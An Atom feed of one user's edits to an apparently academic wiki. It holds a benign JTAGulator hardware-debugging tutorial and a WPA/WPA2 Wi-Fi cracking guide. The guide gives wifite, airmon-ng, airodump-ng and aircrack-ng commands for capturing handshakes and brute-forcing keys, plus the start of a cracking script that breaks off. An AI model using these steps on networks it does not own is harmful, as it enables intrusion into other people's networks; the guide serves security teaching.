<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=JPDoe</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=JPDoe"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/JPDoe"/>
	<updated>2026-09-10T18:06:54Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=JTAGulator:_Introduction&amp;diff=5986</id>
		<title>JTAGulator: Introduction</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=JTAGulator:_Introduction&amp;diff=5986"/>
		<updated>2021-02-10T19:19:18Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: Added `screen` commad&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== JTAG explained == &lt;br /&gt;
&lt;br /&gt;
The JTAGulator is a tool to assist in identifying JTAG and USART pins.&lt;br /&gt;
&lt;br /&gt;
[[File:JTAGulator.png|right]]&lt;br /&gt;
&lt;br /&gt;
JTAG (named after the Joint Test Action Group) is an industry-standard for verifying designs and testing printed circuit boards after manufacture. &lt;br /&gt;
&lt;br /&gt;
; JTAG allows for many applications:&lt;br /&gt;
:* Boundary Scan (read and set values of a pin)&lt;br /&gt;
:* Debugging of hardware/software&lt;br /&gt;
:* Program / Modify memory&lt;br /&gt;
:* Chips can be daisy-chained, so you can access multiple chips through one interface&lt;br /&gt;
&lt;br /&gt;
; JTAG consist of 4 essential signals:&lt;br /&gt;
:* &#039;&#039;&#039;TCK&#039;&#039;&#039; ... Test Clock&lt;br /&gt;
:* &#039;&#039;&#039;TMS&#039;&#039;&#039; ... Test Mode Select (Steuerung)&lt;br /&gt;
:* &#039;&#039;&#039;TDI&#039;&#039;&#039; ... Test Data In&lt;br /&gt;
:* &#039;&#039;&#039;TDO&#039;&#039;&#039; ... Test Data Out&lt;br /&gt;
&lt;br /&gt;
; additional signals:&lt;br /&gt;
:* &#039;&#039;&#039;Vcc&#039;&#039;&#039; ... 3.3V&lt;br /&gt;
:* &#039;&#039;&#039;GND&#039;&#039;&#039; ... ground&lt;br /&gt;
:* &#039;&#039;&#039;TRST&#039;&#039;&#039; .. test reset (low active)&lt;br /&gt;
:* &#039;&#039;&#039;RST&#039;&#039;&#039; ... system reset (low active)&lt;br /&gt;
&lt;br /&gt;
Good video about the JTAG interface: [https://www.youtube.com/watch?v=TlWlLeC5BUs EEVblog #499 - What is JTAG and Boundary Scan?]&lt;br /&gt;
&lt;br /&gt;
Manufactures have &#039;&#039;&#039;different&#039;&#039;&#039; Pin Layout, for Cortex Connectors, it looks like this:&lt;br /&gt;
&lt;br /&gt;
[[File:JTAG connections.png|source:http://www.keil.com/support/man/docs/ulink2/ulink2_connector_20_16_14_10pin.png|500px]]&lt;br /&gt;
&lt;br /&gt;
== JTAGulator Overview ==&lt;br /&gt;
&lt;br /&gt;
Since JTAG pins are not always labeled, they can be hard to find. This is when the JTAGulator comes into play.&lt;br /&gt;
&lt;br /&gt;
You connect the channels of the JTAGulator to different test pins on the hardware you want to analyze.&lt;br /&gt;
&lt;br /&gt;
The JTAGulator test each individual pins and tries to find JTAG connections. If found it will output the correct JTAG pins.&lt;br /&gt;
&lt;br /&gt;
== Setup ==&lt;br /&gt;
&lt;br /&gt;
; Make sure you have the latest firmware: [[JTAGulator: Update firmware]]&lt;br /&gt;
&lt;br /&gt;
; Connect the JTAGulator via serial to the computer&lt;br /&gt;
: 115200 bps, 8  data bits, no parity, 1 stop bit&lt;br /&gt;
:* Linux: you can use minicom&lt;br /&gt;
:* Windows: you can use Putty&lt;br /&gt;
:* BSD/macOS: &amp;lt;code&amp;gt;screen /dev/tty.usbserial-XXXXXXX 115200,8,1&amp;lt;/code&amp;gt;&lt;br /&gt;
: You should see the following output:&lt;br /&gt;
: [[File:JTAGulator welcomeScreen.png|400px]]&lt;br /&gt;
&lt;br /&gt;
; Connect the JTAGulator to the test-device&lt;br /&gt;
# Connect the JTAGulator &#039;&#039;&#039;Ground (GND)&#039;&#039;&#039; to the GND of the hardware you want to analyze.&lt;br /&gt;
# Connect &#039;&#039;&#039;CHx&#039;&#039;&#039; from the JTAGulator to some pins &#039;&#039;&#039;(make sure via multimeter that the pins do not have a voltage level over 3.3V)&#039;&#039;&#039; on the hardware which may be JTAG pins (start from CH0). Do &#039;&#039;&#039;not&#039;&#039;&#039; use the &#039;&#039;&#039;VADJ&#039;&#039;&#039; pin on the JTAGualtor (VADJ is the output from the PWM/up-amp hardware on the JTAGulator that&#039;s used to create the target system voltage and drive the on-board level translators.)&lt;br /&gt;
&lt;br /&gt;
== JTAGulator commands ==&lt;br /&gt;
&lt;br /&gt;
This tutorial is based on the firmware version 1.6&lt;br /&gt;
&lt;br /&gt;
* Display all commands: &amp;lt;code&amp;gt;H&amp;lt;/code&amp;gt;&lt;br /&gt;
* Display firmware version: &amp;lt;code&amp;gt;I&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
; First you need to set the voltage level&lt;br /&gt;
: Press &amp;lt;code&amp;gt;V&amp;lt;/code&amp;gt; and set the voltage level accordingly (check via multimeter or hardware specification, usually 3.3)&lt;br /&gt;
&lt;br /&gt;
=== Finding JTAG ===&lt;br /&gt;
&lt;br /&gt;
* Type &amp;lt;code&amp;gt;J&amp;lt;/code&amp;gt; to get to the JTAG commands&lt;br /&gt;
* Then type &amp;lt;code&amp;gt;H&amp;lt;/code&amp;gt; for useful help-information&lt;br /&gt;
; IDCODE scan &amp;lt;code&amp;gt;I&amp;lt;/code&amp;gt;&lt;br /&gt;
: This is a quick scan, which checks the output of every possible combination and presents possible combination + device IDs&lt;br /&gt;
: You can filter out incorrect JTAG identification by looking at the ID (device IDs are eye-catching, they are very non-uniform eg. (0x0D780237) and not like (0xFFFFFF7F) or (0x55555555) )&lt;br /&gt;
; BYPASS scan &amp;lt;code&amp;gt;B&amp;lt;/code&amp;gt;&lt;br /&gt;
: After you used the IDcode scan, you want to determine the TDI line&lt;br /&gt;
: Enter x for the unknown TDI line and the numbers of the possible JTAG combination&lt;br /&gt;
; Test BYPASS &amp;lt;code&amp;gt;T&amp;lt;/code&amp;gt;&lt;br /&gt;
: After the TDI pin was found, test the communication using the echo command of the JTAG interface. A random string gets sent to the TDI line of the JTAG interface and the JTAG controller should now send the same string back on the TDO line.&lt;br /&gt;
: With this you can make sure, that is really is a JTAG interface&lt;br /&gt;
: Go into the Test BYPASS menu, enter the number of the pins and see if the string matches&lt;br /&gt;
: If it does match it is very likely to be a JTAG interface, if not you will have to try out other pins.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;For a real-world example look into the post: [[JTAGulator: Find a Smartphone&#039;s JTAG interface]]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== Finding UART ===&lt;br /&gt;
&lt;br /&gt;
The JTAGulator can also find UART pins by brute-forcing the pinout configuration as well as the baud-rate&lt;br /&gt;
&lt;br /&gt;
; Find UART pins&lt;br /&gt;
* To enter the UART commands enter: &amp;lt;code&amp;gt;U&amp;lt;/code&amp;gt;&lt;br /&gt;
: (You can get help via &amp;lt;code&amp;gt;H&amp;lt;/code&amp;gt;)&lt;br /&gt;
* Set the voltage level with &amp;lt;code&amp;gt;V&amp;lt;/code&amp;gt;&lt;br /&gt;
* Enter  the brute-force mode: &amp;lt;code&amp;gt;U&amp;lt;/code&amp;gt;&lt;br /&gt;
* Set parameters (make sure you do not ignore non-printable characters)&lt;br /&gt;
; Analyze output&lt;br /&gt;
: If the JTAGulator received a message it will output it to the screen&lt;br /&gt;
* The JTAGulator will display the TX and RX pin, the baud rate it was using and the message it received&lt;br /&gt;
: In the default configuration the JTAGualtor will send &amp;lt;CR&amp;gt; (0x0D) commands to the device&lt;br /&gt;
: Usually UART interfaces answer on &amp;lt;CR&amp;gt; commands with a response and append a &amp;lt;LF&amp;gt; (0x0A) or &amp;lt;CR&amp;gt; ( 0x0D) to it. Receiving such bytes are a good indicator that the correct baud rate was used.&lt;br /&gt;
; Connect to UART&lt;br /&gt;
: The JTAGualtor allows for passthrough of UART commands&lt;br /&gt;
* Enter &amp;lt;code&amp;gt;P&amp;lt;/code&amp;gt; for UART passthrough&lt;br /&gt;
: Set the RX, TX and the baud rate you found before.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;For an example visit: [[JTAGulator: Find IoT-Device&#039;s UART interface]]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
[[JTAGulator]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=5856</id>
		<title>WPA/WPA2 PSK deauthentication attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=5856"/>
		<updated>2021-01-20T22:42:15Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: Added TL;DR for wifite&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Summary = &lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= TL;DR =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;For those using Kali Linux (&amp;gt;2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, &amp;lt;code&amp;gt;[https://github.com/derv82/wifite2 wifite]&amp;lt;/code&amp;gt; is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments &amp;amp; switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.&amp;lt;/p&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Generic: One command to rule them all&lt;br /&gt;
sudo wifite&lt;br /&gt;
&lt;br /&gt;
# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture&lt;br /&gt;
sudo wifite --wpa --no-wps --no-pmkid&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Requirements =&lt;br /&gt;
== Mandatory ==&lt;br /&gt;
=== GNU/Linux ===&lt;br /&gt;
* Install aircrack-ng suite: &amp;lt;code&amp;gt;sudo apt install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== macOS ===&lt;br /&gt;
* Optional: Install &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt; suite: &amp;lt;code&amp;gt;brew install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install tcpdump&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;wireshark&amp;lt;/i&amp;gt; to use &amp;lt;i&amp;gt;mergecap&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install wireshark&amp;lt;/code&amp;gt;&lt;br /&gt;
* Enable &#039;hidden&#039; airport feature: &amp;lt;code&amp;gt;sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Optional ==&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
* Clone GIT repository: &amp;lt;code&amp;gt;git clone https://github.com/hashcat/hashcat.git&amp;lt;/code&amp;gt;&lt;br /&gt;
* Build: &amp;lt;code&amp;gt;cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&amp;lt;/code&amp;gt;&lt;br /&gt;
* Link: &amp;lt;code&amp;gt;sudo ln -s ./hashcat /usr/local/bin/hashcat&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scapy ===&lt;br /&gt;
* Install: &amp;lt;code&amp;gt;pip install scapy&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Background =&lt;br /&gt;
== Problem==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:&amp;lt;/p&amp;gt;&lt;br /&gt;
# Sniff a beacon management frame containing all information about the network &lt;br /&gt;
# Sniff a four-way hanshake containing dynamic payload encryption keys&lt;br /&gt;
# Crack the PSK offline, using data dumps acquired in the previous steps&lt;br /&gt;
&amp;lt;p style=&amp;quot;height: 2px&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Intercepting a four-way handshake requires at least one authenticated device on the target network. &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Procedure =&lt;br /&gt;
&lt;br /&gt;
== With aircrack-ng (on GNU/Linux) ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 30px;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Application&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;aircrack-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;802.11 WEP and WPA/WPA2-PSK key cracking program.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airbase-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Aimed at attacking clients as opposed to the AP itself.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecap-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Decrypt WEP/WPA/WPA2 capture files.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecloak-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remove WEP CloakingTM from a packet capture file.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdrop-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;A rule based wireless deauthication tool.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;aireplay-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Inject and replay wireless frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airgraph-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Graph wireless networks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airmon-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Enable and disable monitor mode on wireless interfaces.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airodump-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Capture raw 802.11 frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airolib-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Precompute WPA/WPA2 passphrases.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airserv-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Wireless card TCP/IP server to use wit multiple applications.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airtun-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Virtual tunnel interface creator.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;packetforge-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Create encrypted packets that can be used for injection.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Put your interface in monitor mode ===&lt;br /&gt;
&lt;br /&gt;
* Use airmon-ng to put interface in monitor mode&lt;br /&gt;
 &lt;br /&gt;
   airmon-ng&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0   iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* First we need to set interface in monitor mode  `iw wlan0 del` and execute the command :&lt;br /&gt;
&lt;br /&gt;
   airmon-ng&lt;br /&gt;
   Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0mon  iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* Kill all processes which use physical device&lt;br /&gt;
&lt;br /&gt;
   airmon-ng check kill&lt;br /&gt;
   Killing these processes:&lt;br /&gt;
      PID Name&lt;br /&gt;
      895 wpa_supplican&lt;br /&gt;
&lt;br /&gt;
* Start in monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng start wlan0mon 9&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&lt;br /&gt;
* using wireshark or airodump-ng &lt;br /&gt;
  &lt;br /&gt;
   airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
* You will need:&lt;br /&gt;
** BSSID (MAC address of access point): &amp;lt;bssid&amp;gt;&lt;br /&gt;
** Access point channel: &amp;lt;channel&amp;gt;&lt;br /&gt;
** MAC address of a victim, wireless client using WPA2&lt;br /&gt;
&lt;br /&gt;
=== Capture handshake  ===&lt;br /&gt;
&lt;br /&gt;
* Get handshake or connected station&lt;br /&gt;
&lt;br /&gt;
   airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack with aircrack-ng  ===&lt;br /&gt;
&lt;br /&gt;
* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password&lt;br /&gt;
   &lt;br /&gt;
   aircrack-ng -w &amp;lt;passwordlist path&amp;gt; -b  &amp;lt;bssd&amp;gt; psk*.cap&lt;br /&gt;
&lt;br /&gt;
=== Reset network configuration ===&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Do not forget to turn off monitor mode and restart network manager&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stop monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng stop wlan0mon&lt;br /&gt;
&lt;br /&gt;
* Restart network manager for internet access&lt;br /&gt;
  &lt;br /&gt;
   service network-manager restart&lt;br /&gt;
&lt;br /&gt;
== Without aircrack-ng (on macOS) ==&lt;br /&gt;
&lt;br /&gt;
In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using &amp;lt;nowiki&amp;gt;tcpdump&amp;lt;/nowiki&amp;gt; instead of &amp;lt;nowiki&amp;gt;airodump-ng&amp;lt;/nowiki&amp;gt;, as well as the use of &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; (or John the ripper) instead of &amp;lt;nowiki&amp;gt;aircrack-ng&amp;lt;/nowiki&amp;gt; can also be ported to Linux and has advantages over the previously listed version. Only the use of &amp;lt;nowiki&amp;gt;airport&amp;lt;/nowiki&amp;gt; works exclusively on macOS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;crack_WPA2_PSK.sh&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: In this script, &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. &amp;lt;br&amp;gt;You may need to change the &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; command at the end of the script to fit your usecase.&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#!/bin/bash&lt;br /&gt;
if [[ $UID != 0 ]]; then&lt;br /&gt;
    echo &amp;quot;Please run this script with sudo:&amp;quot;&lt;br /&gt;
    echo &amp;quot;sudo $0 $*&amp;quot;&lt;br /&gt;
    exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
hr() {&lt;br /&gt;
  local start=$&#039;\e(0&#039; end=$&#039;\e(B&#039; line=&#039;qqqqqqqqqqqqqqqq&#039;&lt;br /&gt;
  local cols=${COLUMNS:-$(tput cols)}&lt;br /&gt;
  while ((${#line} &amp;lt; cols)); do line+=&amp;quot;$line&amp;quot;; done&lt;br /&gt;
  printf &#039;%s%s%s\n&#039; &amp;quot;$start&amp;quot; &amp;quot;${line:0:cols}&amp;quot; &amp;quot;$end&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner() {&lt;br /&gt;
  hr; printf &amp;quot; \033[0;31m${1}\033[0m\n&amp;quot;; hr&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Perform a wireless broadcast scan&amp;quot;&lt;br /&gt;
